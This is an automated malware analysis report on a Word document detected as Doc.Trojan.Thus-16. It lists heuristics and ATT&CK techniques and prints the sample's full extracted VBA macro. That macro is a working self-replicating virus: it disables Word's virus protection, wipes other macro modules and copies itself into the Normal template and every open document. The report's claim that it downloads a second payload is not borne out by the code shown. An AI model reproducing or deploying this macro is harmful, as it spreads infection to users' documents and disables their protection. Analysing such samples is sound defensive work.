MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The macro attempts to disable virus protection and manipulate other modules, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Thus-16' further confirms its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-16
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2077 bytes |
SHA-256: 124e5c4ea6745578f47d2dd3b1b71af37db4a69905db2ee820abce3afebbec89 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Abiel'
On Error Resume Next
Application.Options.VirusProtection = False
NormalTemplate.VBProject.VBComponents("xix").codemodule.DeleteLines 1, NormalTemplate.VBProject.VBComponents("xix").codemodule.countoflines
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.lines(2, 1) <> "'Abiel'" Then
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.insertlines 1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.lines(1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
Application.Documents.Item(k).VBProject.VBComponents.Item(2).codemodule.DeleteLines 1, Application.Documents.Item(k).VBProject.VBComponents.Item(2).codemodule.countoflines
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.lines(2, 1) <> "'Abiel'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.DeleteLines 1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.countoflines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.countoflines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.insertlines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.lines(1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines)
End If
Next k
End Sub
Private Sub Document_Close()
Call Document_Open
End Sub
Private Sub Document_new()
Call Document_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.